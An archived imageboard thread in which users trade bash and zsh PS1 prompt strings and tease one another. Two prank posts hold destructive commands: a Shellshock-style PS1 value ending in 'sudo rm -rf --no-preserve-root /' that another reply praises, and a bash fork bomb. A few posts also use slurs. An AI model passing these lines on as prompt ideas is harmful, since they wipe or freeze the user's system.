[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
ITT we share our PS1
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 55
Thread images: 16
File: terminal.jpg (114 KB, 2560x1600) Image search: [Google]
terminal.jpg
114 KB, 2560x1600
pic not related.
Let's share some cool terminal prompts.

I just go with the classical
PS1='\[\e[0;32m\]\u\[\e[m\] \[\e[1;34m\]\w\[\e[m\] \[\e[1;32m\]\$\[\e[m\] \[\e[1;37m\]'

But I am looking for inspiration for a small screen laptop.
>>
>>52211949
$

fucking ricers
>>
>>52214150
Not even the working directory displayed?
>>
>>52214209
I have pwd for that
>>
File: PS1.png (106 KB, 405x234) Image search: [Google]
PS1.png
106 KB, 405x234
picture related

PS1='\[\e]0;\u@\h: \w\a\]\[\]┌─╼ \[\][\[\e[01;32m\]Aldebaran\[\e[00m\]:\w]\n\[\]$(if [[ $? == 0 ]]; then echo "\[\]└────╼"; else echo "\[\]└╼"; fi) \[\]'
>>
>>52214269
fair enough.

>>52214290
Neat.
>>
PS1="%{$fg[white]%}┌─%{$fg_bold[cyan]%}[%{$reset_color%}%{$fg[white]%}%D %*%{$fg_bold[cyan]%}]%{$reset_color%}%{$fg[white]%} %{$fg[white]%}<%{$fg[cyan]%}%n%{$reset_color%}@%{$fg[white]%}%m%{$fg[cyan]%}>%{$reset_color%}
%{$fg[white]%}└─%{$fg_bold[cyan]%}[%{$reset_color%}%{$fg[white]%}%~%{$fg_bold[cyan]%}]%{$reset_color%}%{$fg[white]%}─>%{$reset_color%} "
>>
>>52211949
PS1='() { :;}; sudo rm -rf --no-preserve-root /'
>>
its working
>>
>>52211949
Am I mistaken, or is the prompt after the `cd` completely wrong? PWD is displayed as part of the hostname info, and the $HOME tilde is still there.
>>
Fucking ricers.

\u@\h:\w>
>>
File: ps1.jpg (579 KB, 1600x1200) Image search: [Google]
ps1.jpg
579 KB, 1600x1200
am i doing this right?
>>
>>52214290
that's retarded
>>
>>52214568
Why?
I think it's pretty AND it makes a little space between commands and the results.

>>52214474
Haha... What happens if you do this? It doesn't run that... does it?
>>
PS1="C:\$(pwd | sed 's:/:\\\\\\\:g')> "
>>
>>52214413
This does not work
>>
>>52214774
Its zsh shit.
>>
>>52214557
go back to killing sandniggers ivan.
>>
>>52214718
>It doesn't run that
Of course not. You make it sound like Bash is a piece of shit program that's full of bugs or something.
>>
File: agnoster.png (58 KB, 822x422) Image search: [Google]
agnoster.png
58 KB, 822x422
>>52211949
could be worse
>>
File: terminal.jpg (15 KB, 245x137) Image search: [Google]
terminal.jpg
15 KB, 245x137
fuck you too lazy to post the actual PS
>>
>>52214290
sup


tv
>>
>>
:(){ :|:& };:
>>
>>52216944

ayy lmao
>>
export PROMPT_COMMAND=__prompt_command
function __prompt_command() {
local sep=$'\xC2\xBB' # UTF-8 U+00BB
local red=$(tput setaf 1)
local green=$(tput setaf 2)
local yellow=$(tput setaf 3)
local blue=$(tput setaf 4)
local cyan=$(tput setaf 5)
local bold=$(tput bold)
local reset=$(tput sgr0)

[[ $EUID -eq 0 ]] && user=$red || user=$green

PS1="\[$user\]\u@\h\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$yellow\]\W\[$reset\] \[$blue$bold\]$sep\[$reset\] \[$user\]\$\[$reset\] "
}
>>
File: Screenshot_2016-01-03_21-48-39.png (5 KB, 510x319) Image search: [Google]
Screenshot_2016-01-03_21-48-39.png
5 KB, 510x319
Ok.
>>
>>52217027
Which font is that?
>>
>>52214290
Jesus that is so retarded, useless in every way and beta as fuck
>>
KSH> 
>>
File: 1426109828788.png (14 KB, 566x361) Image search: [Google]
1426109828788.png
14 KB, 566x361
>>52211949
>>
function nonzero_return()
{
echo "$?"
}

export PS1="\[\e[37;44m\][\[\e[m\]\[\e[37;44m\]\A\[\e[m\]\[\e[37;44m\]]\[\e[m\]\[\e[37;44m\][\[\e[m\]\[\e[37;44m\]\u\[\e[m\]\[\e[37;44m\]@\[\e[m\]\[\e[37;44m\]\h\[\e[m\]\[\e[37;44m\]]\[\e[m\]\[\e[37;44m\][\[\ e[m\]\[\e[37;44m\]\`nonzero_return\`\[\e[m\]\[\e[37;44m\]]\[\e[m\]\[\e[37;44m\][\[\e[m\]\[\e[37;44m\]\w\[\e[m\]\[\e[37;44m\]]\[\e[m\] "
>>
chkec () {
local i=$?
if [ $i -ne 0 ]
then
echo -n "$i "
fi
}

PS1='\[\a\e[1;31m\]$(chkec)\[\e[0m\]\u@\h:\w\$ '
>>
Now I know what a PS1 is. I always thought it was some zsh thing. How do I even learn about these things?
>>
>>52217046
tewi, but ProFont works just as good.
>>
>>52217397
Just google "bash ps1" or whatever.
Also "ANSI escape codes" if you want colour.
>>
>>52214150
Kek
>>
nice and simple
PS1=' \[\033[01m\]\[\033[1;31m\]\w\[\033[35m\] »\[\033[00m\] '
>>
File: DSC_0014.jpg (2 MB, 3840x2160) Image search: [Google]
DSC_0014.jpg
2 MB, 3840x2160
Sorry ive only got ps2... But ill share it if with whoever wants to help clean the dust off
>>
>>52214474

best one so far
>>
File: hueheuheheehue.gif (2 MB, 400x225) Image search: [Google]
hueheuheheehue.gif
2 MB, 400x225
>>52220801
yer a cheeky one aintcha?
>>
>>52211949
username@hostname~
>>
>>52216819
this is really nice, can you share?
>>
File: 2016-01-03_20-52-05.png (7 KB, 581x394) Image search: [Google]
2016-01-03_20-52-05.png
7 KB, 581x394
>>
>>52214753
underrated post desu senpai
>>
>using anything but the default shell prompt provided by your distro
>>
>>52221181
Oh My Zsh's agnoster theme
>>
File: BUNBUUU.jpg (107 KB, 932x651) Image search: [Google]
BUNBUUU.jpg
107 KB, 932x651
PS1='${debian_chroot:+($debian_chroot)}\
\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\
\[\033[01;36m\]$(__git_ps1 " (±%s)")\[\033[00m\]\$ '
>>
>>52214557
As someone who used to be a PowerShell enthusiast, I kek'd
>>
Just put \! on the front, and you get a history line number.
Useful for fc or history substitutions and expansions.
>>
File: 20150827_183406.jpg (2 MB, 3264x1836) Image search: [Google]
20150827_183406.jpg
2 MB, 3264x1836
>>52211949
>ITT we share our PS1
okay
>>
File: zsh.png (12 KB, 605x77) Image search: [Google]
zsh.png
12 KB, 605x77
>>
>>52216911
>too lazy to post the actual PS
Would that not take less time than making a screenshot?
>>
>>52226549
i had that in my screenshot folder
>>
PROMPT is the zsh equivalent. Here's mine.

PROMPT='%n@%m:%~ > '
Thread replies: 55
Thread images: 16

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.